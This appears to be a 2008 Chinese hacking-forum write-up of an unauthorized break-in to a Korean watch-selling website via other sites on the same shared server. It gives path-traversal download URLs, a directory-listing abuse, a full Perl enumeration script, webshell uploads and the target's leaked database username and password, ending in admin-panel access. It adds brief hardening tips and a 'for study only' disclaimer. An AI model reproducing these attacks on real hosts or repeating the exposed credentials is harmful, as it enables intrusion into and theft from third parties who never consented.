歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

對韓國某手表網站的一次偶然安全檢測

來源:轉載 作者:佚名 時間:2008-11-05 TAG: 我要投稿
朋友是一個哈韓族,老給我推薦一些韓國出產的一些工藝品,呵呵,說真的,老韓的一些工業品還是不錯的,特別是服裝挺時尚的,俺女朋友就曾經買過兩件,哈哈,穿起來挺漂亮的,最近俺朋友又給我推薦了一個賣手表的網站,直接打開如圖1所示,手表看起來不錯哦,跟勞力士得一拼哦! 

 
圖1 打開手表網站

韓國是美國的小弟,俺是安全愛好者,看到網站就想看看該網站的安全做的如何,當我瀏覽網站產品時,如果要查看詳細情況時,都會自動跳轉到登錄頁面。如圖2所示,僅僅查看而已,都要登錄,有這個必要嗎?到底它網站的安全性如何呢?

 
圖2跳轉后的登錄界面


一、信息收集

1.獲取IP地址

首先打開DOS窗口,然后使用“ping XXX.net”獲取該網站的真實IP地址,如圖3所示,通過ping命令知道該主機應該采取了一些安全措施,丟包率比較高,應該是禁止進行ping等命令。

 
圖3 獲取真實IP地址

2.使用superscan探測端口

請出俺的掃描工具——superscan,使用supersan3.0掃了一下IP地址為“XX.XX.85.96”的端口開放情況,如圖4所示,發現只開了21,22,80端口,從端口開放情況來看,對外提供服務僅僅21和80端口,感覺安全應該還可以,只能從Web和Ftp來入手。

 
圖4情況開放情況

3.Ftp口令掃描

使用一些Ftp口令掃描工具對該IP地址掃描,使用了多個字典進行掃描,均未成功,看來Ftp口令掃描攻擊方法不行。

說明:

一般站點都會開放Ftp服務,Ftp服務主要用來上傳程序等,一般默認會設置在Web目錄,因此一旦獲取了Ftp口令,就可以跟用戶一樣“正常”使用Ftp來上傳和下載Web程序,通過上傳Webshell或者獲取數據庫等方式來進行滲透和控制。

二、檢查SQL注入攻擊點

1.尋找注入點

先手動對該網站地址進行SQL注入點的檢測,在地址后加入“’”、“or”等,例如在地址欄中分別輸入:http://XXX.net/goods/content.asp?big=3&middle=12&small=1&num=30967’后回車,在地址欄中會自動變成“http://rolexcopy.net/goods/content.asp?big=3&middle=12&small=1&num=30967%20and%201=1”,如圖5所示, 

 
圖5 出現SQL錯誤提示

雖然手動檢測結果提示為SQL錯誤,當后面使用一些腳本測試,沒有找到明顯的SQL注入點,使用HDSI等工具進行探測的結果也顯示無注入點,說明暫時找不到注入點。

2.尋找上傳地址

通過是使用Flashget以及digshell挖掘雞等工具對該網站進行上傳地址搜索和檢查,在http://xxx.net/other/contact_us.asp這個頁面找到一個上傳,但不能上傳asp、asa等可以提升權限的文件類型。

3.旁注信息搜集

既然正面不能突破,那么就從側面,通過旁注來看看可否獲取該網站的Webshell。打開http://www.myipneighbors.com/ 輸入XXX.net后發現同一服務器下一共有226個站,如圖6所示。

  
圖6同一服務器下的存在的網站

說明:

http://www.myipneighbors.com/ 是一個通過IP地址或者域名來獲取該IP地址或者域名所在服務器中所存在的其它網站地址。它是一個旁注的輔助工具,當然在明小子Domain3.5以及其它一些工具軟件中也有這個功能。

既然在該IP地址上有226個網站,那就從其它網站入手吧。

4.嘗試對其它站點進行滲透

對剩下的225個網站隨機進行SQL注入點探測,隨機選中一個網站“hansincar.cafe24.com”,從中找到一個可上傳的地方,可以直接上傳文件,將本地的一個Webshell文件上傳到該站點,上傳文件成功后,asp木馬卻無法運行,如圖7所示。

 
圖7無權限運行asp木馬

看來該站點無法找到突破點,那就選擇下一個網站進行探測吧。后面我對多個站點進行了SQL注入探測和尋找文件上傳地址。通過探測雖然很多網站存在注入點,但都是public權限,無法備份得shell;即使成功進入后臺后,有上傳的地方,上傳后還是沒有運行腳本的權限。

說明管理員對該主機采取了嚴格的基于網站用戶角色的安全權限策略,安全設置比較變態,對每個可上傳的目錄做了限制,僅對已知文件腳本類型運行,而禁止對其它腳本運行,各個網站之間安全先對獨立。

三、獲取突破點

1.任意下載文件

在我即將要放棄安全測試時,在打開http://nowmotors.com/bbs/contents.asp?schoption=&schword=&page=1&idx=164&bid=used01頁面時,發現可以有下載的地方,而下載的參數就是一個文件,如果沒有做限制的話,那就可以下載任何文件!如圖8所示。

 
圖8下載文件頁面

2.獲取上傳文件地址

通過測試發現該上傳頁面可以上傳任何文件,而在對另一網站注入時,也得到了網站的絕對路徑(F:\HOME\HANSINCAR\WWW\HELPDESK\../board/inc/view.asp),如圖9所示。 

 
圖9獲取網站的絕對路徑

3.推測網站絕對路徑

通過觀察,可以知道在該服務器上每個網站的絕對路徑就是“F:\用戶名\WWW\”,于是可以構造一個地址下載網站中的源程序:http://nowmotors.com/bbs/filedown.asp?filename=../../../../rolexcopy/www/goods/submain.asp

說明:

(1)打算下載http://XXX.net/goods/submain.asp文件(這里說明一下,因為down默認檢查文件名的目錄是DEXTUpload/editor/中,查看圖片的屬性就知道了,所以要"../../"返回網站的根目錄),但發現卻無法下載,如圖10所示。

 
圖10無法下載源文件

(2)分析不能下載原因

難道真的做了限制,還是權限問題?還是其它,nowmotors.com網站肯定存在上傳漏洞,更換一個網站進行測試:
http://nowmotors.com/bbs/filedown.asp?filename=../../../../hansincar/www/board/inc/view.asp
發現可以下載,如圖11所示。

 
圖11正常下載nowmotors.com網站文件

但為什么不能下載XXX.net網站中的文件呢,該網站中的submain.asp是存在的,那只有一種可能——用戶名XXX不存在。

(3)獲取網站的真正用戶名

怎么找到此網站的用戶名呢?一個好的辦法就是通過網站域名注冊信息來獲取用戶的網站用戶名,通過whois.domaintools.com來獲取

XXX.net網站域名注冊信息,如圖12所示。

 
圖12獲取rolexcopy的域名注冊信息

(4)下載仍然失敗

于是嘗試將原來的用戶名更換為“tmdgus022”和“tmdgus”,進行測試:http://nowmotors.com/bbs/filedown.asp?filename=../../../../tmdgus022/www/goods/submain.asp http://nowmotors.com/bbs/filedown.asp?filename=../../../../tmdgus/www/goods/submain.asp

測試結果都顯示找不到文件,看來通過該方法仍然無法下載源文件。

四、新的轉機

1.動手構建獲取網站用戶名的程序

現在的問題就是要找到網站對應的用戶名。在某一網站后臺,發現有可以列目錄。

卻跳不出該網站的根目錄(在根目錄時,“../”是不可點擊),不可點擊,那可以構造URL跳出,于是先看點擊返回上一級目錄時跳轉到的URL,

于是找到處理該JS的代碼,如下:

function page_link(FormName, InputName, f_prev, r_name, r_folder, l_folder, last) {
var targetSTR;

targetSTR = "dir.asp?FormName="+FormName+"&InputName=

"+InputName+"&f_location="+f_prev;
targetSTR = targetSTR+"&r_location="+r_name+"&r_folder=

"+r_folder+"&l_folder="+l_folder+"&last="+last;
window.location.href = targetSTR;
}
原來跳轉到pop_directory.asp,其它參數都不重要,最重要的是f_location這個參數,

于是先測試c1saju.com網站,在瀏覽器中輸入:

http://c1saju.com/admin/inc/pop_directory.asp?FormName=all&f_location=&last=ok

列出了當前網站的根目錄,如圖13所示。

 
圖13 使用js文件列c1saju.com網站根目錄

2.獲取根目錄用戶名稱

如果要返回到F:\home就要構造URL:

http://c1saju.com/admin/inc/pop_directory.asp?FormName=all&f_location=../../&last=ok因為網站的根目錄在F:\home\***\www下,發現還是pop_directory.asp的文件還是在網站的根目錄下,難道說不能跳出?再仔細看了下“../../”不是剛好返回到網站根目錄嗎,因為pop_directory.asp文件在F:\home\***\www\admin\inc\目錄下,于是重新構造URL
http://c1saju.com/admin/inc/pop_directory.asp?FormName=all&f_location=../../../../&last=ok

終于跳到F:\home目錄中了,全部的用戶名都出來了,如圖14所示。 

 
圖14列出home目錄所有用戶

3.動手編寫find.pl腳本自動獲取用戶

下面的工作就簡單了,就是一個個文件夾點進去,看那個是目錄目標網站(http://XXX.net/),然后就再構造URL下載就行了,但200多個站,一個個看,那不是很累?于是想出來偷懶的方法,寫個腳本來自己找吧,先把網站全部用戶復制下來,保存到user.txt文件中,再分析目標站點登錄界面源代碼,發現網站admin/image目錄下有個admin_bk.gif文件,將其作為識別特征,也就是說只要我列出每個admin/image目錄中目錄下發現有admin_bk.gif文件,說明就可能是目標網站了。Find.pl的腳本源代碼如下:

use LWP;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
my $ua=new LWP::UserAgent;
$ua->agent('Mozilla/5.0');
$ua->cookie_jar(new HTTP::Cookies);
open(FILE,"user.txt") || die ("Could not open file");
my @arr=;
for my $line (@arr) {
chomp $line;
any($line);
}
sub any {
print "分析$_[0]\n";
my $url="http://c1saju.com/admin/inc/pop_directory.asp?

FormName=all&InputName=ji_AbsFolder&f_location=../../../../$_

[0]/www/admin/image&r_location=../../../../&r_folder=

$_[0]/www/admin/image&l_folder=admin&last=";
my ($content, $status, $is_success) = do_GET($url);
if ($content =~ m/pop_directory.asp/) {
next;
}elsif ($content =~ m/admin_bk.gif/) {
ok($_[0]);
}
}

sub do_GET {
$browser = LWP::UserAgent->new unless $browser;
my $resp = $browser->get(@_);
return ($resp->content, $resp->status_line, $resp->is_success, $resp)
if wantarray;
return unless $resp->is_success;
return $resp->content;
}
sub ok {
open(FILE1,">>e:/perl/0k.txt") || die ("Could not open file");
print FILE1 "$_[0]\r\n";
close(FILE1);
}

在本地運行一下find.pl,等待一分鐘左右再打開ok.txt,在該文件中發現有多個用戶名

注意:

如果選好過濾的文件為admin_bk.gif,就不會出現那么多用戶名了。

4. 獲取rolexcopy.net網站的真實目錄

通過在瀏覽器中對find.pl找到的ok.txt結果進行查看,當找到mykom.cafe24.com,發現和網站http://XXX.net/一摸一樣,XXX.net網站的目錄就是“mykom”目錄,如圖15所示。

 
圖15獲取rolexcopy.net網站的真實目錄mykom

5.下載數據庫文件

通過分析該網站目錄,找到數據庫配置文件dbconfig.asp,通過nowmotors.com網站的文件下載漏洞將其下載到本地:
http://nowmotors.com/bbs/filedown.asp?filename=../../../../mykom/www/dbconfig.asp

成功下載,打看看,得到了用戶名和密碼。

db_name = "mykom" 
db_id = "mykom"  
db_pass = "parksu7616" 
db_domain = "sql-007.cafe24.com" 

在本地用webshell連接一下遠程數據庫,得到管理員用戶名和密碼,如圖16所示,管理員對應的密碼為名為,省去破解md5密碼值了。

 
圖16 使用本地rootkit.asp獲取用戶名和密碼

6.進入管理后臺

在后臺直接輸入獲取的用戶名和密碼登錄,如圖17所示,成功進入后臺,由于俺不是哈韓族,也不認識幾個韓文,檢查到此為止!

 
圖17成功進入rolexcopy.net網站管理后臺

五、安全防范措施

就本此滲透過程來看,網站的安全已經設置的比較到位了,但是由于程序中的漏洞,導致了本次滲透成功,因此從安全防范的措施來說,建議就如下方面進行安全加固:

(1)嚴格過來腳本

對于可下載任意文件這個漏洞,不少網站都存在,后果也很嚴重,其實最簡單的方法就是把filename參數里的”../”過濾掉就OK了。

(2)涉及用戶登錄模塊,一定要對密碼進行加密,而且建議采取一些經過變換的md5加密。

(3)重新審查程序中SQL注入漏洞和XSS漏洞,本此檢查未對XSS進行檢查,但該服務器下多個網站存在SQL注入漏洞,因此也是安全的一個隱患。

六、總結與體會

本次從檢測上來說,并沒有什么新的檢測技術,都是一些老技術。本次檢測的亮點就是自己動手編寫了一個搜索腳本,自動獲取管理用戶目錄;同時也說明在注入時代,不通過過注入,也一樣可以拿到一個網站后臺。最后需要提一下perl語言,它真是個好的語言,特別是處理一些重復的網頁問題時,可以讓我們減少很多重復性的工作,在入侵過程可以起到事半功倍的效果。

【聲明】:黑吧安全網(http://www.gkrbnd.live)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        福彩原副主任